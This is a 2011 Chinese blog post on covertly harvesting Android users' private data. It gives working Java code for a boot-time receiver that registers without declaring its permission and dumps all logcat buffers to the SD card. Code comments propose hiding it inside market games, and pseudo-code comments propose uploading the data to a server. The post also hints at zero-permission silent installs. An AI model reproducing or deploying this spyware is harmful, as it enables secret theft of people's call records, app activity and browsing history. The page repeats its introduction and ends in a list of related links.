抛砖引玉 之 谁动了我的隐私(android用户隐私窥探)
2011-12-30 00:53
253 查看
用户的隐私永远是第一位的,用户的隐私也是最值钱的。
最近各大门户相继被泄露。。。保管好自己的密码就行了
这里我就扯一下android下面搞用户隐私的方法,也算是android的一个疏忽。
但最主要的,还是用户在安装apk时对权限警告的无视,就犹如我们所有社区的密码设为相同一样。
罪魁祸首就是logcat。以及一个权限检测的bug.
1、开机启动
程序如何开机启动?那就是接受一个关于开机的广播,具体流程是这样的,首先在 清单文件 声明一个权限
然后就是写receiver以及在清单中设置了。
其实呢,完全可以不必声明权限,照样使用。
android的包管理器在检测到用户要安装apk时,只是扫描一下清单中的权限声明,然后列出权限警告给用户,上面根本没有声明这个权限,所以不会列出来,但不影响使用,这个bug一直坚守到了4.0.
2、窥探隐私
我们要记录用户的一切,从开机开始!
安卓的一些调试工具,是默认集成在rom中的,比如logcat,不止是sdk中携带,而是每部安卓手机以及平板都有的。
而且,安卓框架会向log缓冲区写入所有的Log,具体是这几类:main、events、radio、system。这些Log缓冲区基本上涵盖了手机运行的方方面面。
进入正题,我们会用到Process类,也就是进程类,dalvik会分裂出一个进程来执行其它本地程序,就像在shell中打入命令,shell分裂一个进程来运行它一样,我们只需要把shell下的命令写成字符串,直接扔给process即可。
别忘了再加入这两个权限
就说这么多,感兴趣的可以研究研究market的安装方法,以及market uri,可以做到0权限静默安装高权限apk。
最后,请关注我的 抛砖引玉 系列,会有更多精彩内容
原创,转载请注明 http://hangxin1940.cnblogs.com
这里仅当抛砖引玉,本人水平有限,难免有些疏漏或者错误,还请指正!!!
最近各大门户相继被泄露。。。保管好自己的密码就行了
这里我就扯一下android下面搞用户隐私的方法,也算是android的一个疏忽。
但最主要的,还是用户在安装apk时对权限警告的无视,就犹如我们所有社区的密码设为相同一样。
罪魁祸首就是logcat。以及一个权限检测的bug.
1、开机启动
程序如何开机启动?那就是接受一个关于开机的广播,具体流程是这样的,首先在 清单文件 声明一个权限
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
然后就是写receiver以及在清单中设置了。
<receiver android:name ="org.igeek.hack.reciver.HackReceiver"> <intent-filter android:priority ="1000"> <action android:name ="android.intent.action.BOOT_COMPLETED"/> </intent-filter > </receiver >
public class HackReceiver extends BroadcastReceiver { @Override public void onReceive(Context context, Intent intent) { ................ } }
其实呢,完全可以不必声明权限,照样使用。
android的包管理器在检测到用户要安装apk时,只是扫描一下清单中的权限声明,然后列出权限警告给用户,上面根本没有声明这个权限,所以不会列出来,但不影响使用,这个bug一直坚守到了4.0.
2、窥探隐私
我们要记录用户的一切,从开机开始!
安卓的一些调试工具,是默认集成在rom中的,比如logcat,不止是sdk中携带,而是每部安卓手机以及平板都有的。
而且,安卓框架会向log缓冲区写入所有的Log,具体是这几类:main、events、radio、system。这些Log缓冲区基本上涵盖了手机运行的方方面面。
进入正题,我们会用到Process类,也就是进程类,dalvik会分裂出一个进程来执行其它本地程序,就像在shell中打入命令,shell分裂一个进程来运行它一样,我们只需要把shell下的命令写成字符串,直接扔给process即可。
别忘了再加入这两个权限
<uses-permission android:name="android.permission.READ_LOGS"/> <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
//简单的示例,这些代码可以附加到某个market的应用里,比如游戏等等 //其实有些广告的sdk,需要一大堆权限,好多都需要开机启动 //我想,可能是收集用户信息来分析用户的行为,来进行定点投放广告吧 public class HackReceiver extends BroadcastReceiver { @Override public void onReceive(Context context, Intent intent) { ///main Runnable r1=new Runnable() { @Override public void run() { writeLog("org.igeek.hack.main.log", "main"); } }; ///events Runnable r2=new Runnable() { @Override public void run() { writeLog("org.igeek.hack.events.log", "events"); } }; ///radio Runnable r3=new Runnable() { @Override public void run() { writeLog("org.igeek.hack.radio.log", "radio"); } }; ///system Runnable r4=new Runnable() { @Override public void run() { writeLog("org.igeek.hack.system.log", "system"); } }; Thread t1=new Thread(r1); Thread t2=new Thread(r2); Thread t3=new Thread(r3); Thread t4=new Thread(r4); t1.start(); t2.start(); t3.start(); t4.start(); } //你懂得 private void writeLog(String file,String content){ try { StringBuilder command = new StringBuilder("logcat" ); File devFile = new File( Environment.getExternalStorageDirectory(),file ); if (devFile.createNewFile()){ command.append(" -b " ).append(content); //命令格式是: logcat -b main //logcat -b radio 等等 Process process = Runtime.getRuntime().exec(command.toString()); //这里,将本地程序的标准输出,也就是std::out转成java的输入流 InputStream input = process.getInputStream(); BufferedReader reader = new BufferedReader( new InputStreamReader(input)); //再把转入的输入流搞成输出流,这里放到sd卡的目录里面 FileOutputStream output=new FileOutputStream(devFile); BufferedOutputStream bot=new BufferedOutputStream(output); Log.e("hack", "记录LOG -> "+"sd:"+file); String log; while((log = reader.readLine()) != null){ //其实在输入流获取后,可以根据规则摘取想要的信息 //没有必要通吃 //在关机前,这个循环是很难跳出的 bot.write(log.getBytes()); //这里呢,可以学学骑驴250,将获取的数据上传到服务器 /* 伪代码 在清单中添加个Internet权限,相信用户也不会多心的 go:连接服务器 go:压缩并上传数据 */ } bot.close(); output.close(); reader.close(); input.close(); //亲手测试一下,你会惊讶的发现,谁给你打电话、你当前运行什么程序、 //你看什么不该看的网页,都一一记录在案 } } catch (IOException e) { //have a nice day e.printStackTrace(); } } }
就说这么多,感兴趣的可以研究研究market的安装方法,以及market uri,可以做到0权限静默安装高权限apk。
最后,请关注我的 抛砖引玉 系列,会有更多精彩内容
原创,转载请注明 http://hangxin1940.cnblogs.com
这里仅当抛砖引玉,本人水平有限,难免有些疏漏或者错误,还请指正!!!
相关文章推荐
- 关于腾讯“窥探用户隐私”一事,请各位针对"隐私"这个关键词做些说法。
- 研究显示Android应用大量分享用户隐私信息
- Androidframework窃取用户隐私病毒分析
- Android手机用户隐私获取,包括读取通讯录、读取通话记录、读取浏览器历史记录、读取手机短信
- Android平台第三方SDK会采集用户的那些隐私数据及具体实现代码
- Android手机用户隐私获取,包括读取通讯录、读取通话记录、读取浏览器历史记录、读取手机短信
- 关于android读取用户号码,手机串号,SIM卡序列号
- Android进程保活--我也想乖,但用户就是要这样
- android 友盟 用户反馈 自定义界面发图片问题
- Android开发周报:Android L默认加密用户数据
- Android关于获取用户是否允许某项权限
- 互联网用户泛隐私安全热点问题回顾与浅析 (2012年3月)
- Android实战——第三方服务之Bmob后端云的集成、用户登陆、用户注册、获取用户、用户注销(一)
- 与隐私纠缠不清的快递,屏蔽用户信息后就真能高枕无忧吗?
- [典型漏洞分享]横向越权漏洞导致用户隐私信息泄漏【高】
- android典型用户之多媒体播放
- 智能手机行业的乱象 用户隐私如何保障
- Android--第二天(项目安装启动,电话拨号器,用户通知,短信发送器,数据存储与访问)
- android 通过GPS获取用户地理位置并监听位置变化